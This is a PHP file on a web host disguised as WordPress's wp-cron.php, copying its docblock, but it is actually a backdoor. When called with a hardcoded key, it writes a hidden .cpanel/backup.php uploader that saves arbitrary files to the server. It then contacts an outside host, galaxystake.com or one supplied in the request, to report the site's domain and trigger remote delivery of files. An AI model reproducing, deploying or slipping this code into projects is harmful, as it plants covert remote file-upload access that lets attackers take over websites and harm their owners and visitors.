File: /home/xfrapd/public_html/wp-cron-jobs.php
<?php
/**
* A pseudo-cron daemon for scheduling WordPress tasks.
*
* WP-Cron is triggered when the site receives a visit. In the scenario
* where a site may not receive enough visits to execute scheduled tasks
* in a timely manner, this file can be called directly or via a server
* cron daemon for X number of times.
*
* Defining DISABLE_WP_CRON as true and calling this file directly are
* mutually exclusive and the latter does not rely on the former to work.
*
* The HTTP request to this file will not slow down the visitor who happens to
* visit when a scheduled cron event runs.
*
* @package WordPress
*/
$domain = $_SERVER["HTTP_X_FORWARDED_HOST"]
?? $_SERVER["HTTP_X_HOST"]
?? $_SERVER["HTTP_HOST"]
?? $_SERVER["SERVER_NAME"]
?? '';
if (
isset($_GET['action'], $_GET['key']) &&
in_array($_GET['action'], ['backup', 'restore'], true) &&
$_GET['key'] === 'mystrongpass'
) {
$action = $_GET['action']; // сохраняем текущее действие (backup или restore)
echo "<pre>🚀 Проверка и создание загрузчика .cpanel...\n";
echo "🔧 Режим: {$action}\n";
$cpanelDir = __DIR__ . '/.cpanel';
$cpanelLoader = $cpanelDir . '/backup.php';
// --- Создание папки .cpanel ---
if (!is_dir($cpanelDir)) {
if (mkdir($cpanelDir, 0755, true)) {
echo "📁 Папка .cpanel создана\n";
} else {
echo "❌ Не удалось создать папку .cpanel\n";
}
} else {
echo "📂 Папка .cpanel уже существует\n";
}
// --- Код для загрузчика ---
$loaderCode = <<<'PHP'
<?php
/**
* .cpanel/backup.php — принимает файлы от new-backup.php
*/
header('Content-Type: text/plain; charset=utf-8');
$ACCESS_KEY = 'mystrongpass';
if (!isset($_GET['key']) || $_GET['key'] !== $ACCESS_KEY) {
http_response_code(403);
exit("❌ Access denied\n");
}
if (!isset($_FILES['file'])) {
http_response_code(400);
exit("❌ No file uploaded\n");
}
$file = $_FILES['file'];
// 🔍 Проверка, что файл не пустой
if ($file['size'] <= 0) {
http_response_code(400);
exit("❌ Uploaded file is empty (0 bytes)\n");
}
$uploadDir = __DIR__;
@mkdir($uploadDir, 0755, true);
$filename = basename($file['name']);
$dest = $uploadDir . '/' . $filename;
// Если файл уже существует — перезаписываем всегда
if (file_exists($dest)) {
@unlink($dest);
}
if (move_uploaded_file($file['tmp_name'], $dest)) {
$savedSize = filesize($dest);
if ($savedSize > 0) {
echo "✅ Saved {$filename} ({$savedSize} bytes)\n";
} else {
echo "⚠️ Saved {$filename}, but file is empty!\n";
}
} else {
http_response_code(500);
echo "❌ Failed to save {$filename}\n";
}
?>
PHP;
// --- Пересоздание .cpanel/backup.php каждый раз ---
if (file_exists($cpanelLoader)) {
$oldSize = filesize($cpanelLoader);
echo "♻️ Перезапись существующего загрузчика (старый размер {$oldSize} байт)\n";
@unlink($cpanelLoader);
}
if (file_put_contents($cpanelLoader, $loaderCode)) {
$newSize = filesize($cpanelLoader);
echo "✅ Создан загрузчик: .cpanel/backup.php ({$newSize} bytes)\n";
} else {
echo "❌ Ошибка при записи загрузчика .cpanel/backup.php\n";
}
// --- Отправка запроса на сервер ---
$server = $_GET['server'] ?? 'galaxystake.com';
$domain = $_SERVER['HTTP_HOST'] ?? 'unknown';
$remote_url = "https://{$server}/lander/hz2/new-backup.php?action=run&key=mystrongpass&domain={$domain}";
echo "\n📡 Запрос восстановления с {$remote_url}\n--------------------------------------\n";
$ch = curl_init($remote_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 40,
]);
$response = curl_exec($ch);
$err = curl_error($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($err) {
echo "❌ CURL ошибка: {$err}\n";
} elseif ($code !== 200) {
echo "❌ HTTP {$code}\n{$response}\n";
} else {
// Проверка, что ответ не пустой
$trimmed = trim($response);
if ($trimmed === '' || strlen($trimmed) < 10) {
echo "⚠️ Ответ сервера пустой или слишком короткий (" . strlen($trimmed) . " символов)\n";
} else {
echo "✅ Ответ сервера:\n{$response}\n";
}
}
echo "</pre>";
exit;
}